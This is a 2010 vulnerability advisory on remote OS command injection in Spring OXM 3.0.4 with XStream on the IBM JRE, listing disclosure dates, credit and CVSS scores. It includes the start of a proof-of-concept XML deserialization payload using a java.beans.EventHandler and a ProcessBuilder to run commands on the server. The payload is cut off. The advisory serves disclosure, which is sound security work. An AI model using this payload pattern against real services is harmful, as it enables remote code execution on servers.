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From:pierre.ernst_(at) <pierre.ernst_(at)>
Subject:Spring Source OXM Remote OS Command Injection when XStream and IBM JRE are used


Product: Spring Source OXM (Object/XML Mapping)
Vendor: VMware
Vulnerable Version: 3.0.4 only when XStream and IBM JRE are used
Status: Fixed
Vendor Notification: 12 October 2010
Vendor Fix: 20 October 2010
Vulnerability Type: Remote OS Command Injection (CAPEC-88)
Credit: Pierre Ernst, IBM Canada, Business Analytics

CVSS: 7.6
 AccessVector: Network
 AccessComplexity: High
 Authentication: None
 Confidentiality Impact: Complete
 Integrity Impact: Complete
 Availability Impact: Complete


Consider a service accepting XML input to be unmarshalled as an instance of the Bicycle class.

This is an example of legitimate input:


This malicious input will execute the notepad application on the server and open the
C:\Windows\win.ini file

<bicycle class="java.util.TreeSet">
  <no-comparator />
  <object />
      <handler class="java.beans.EventHandler">
         <target class="java.lang.ProcessBuilder">

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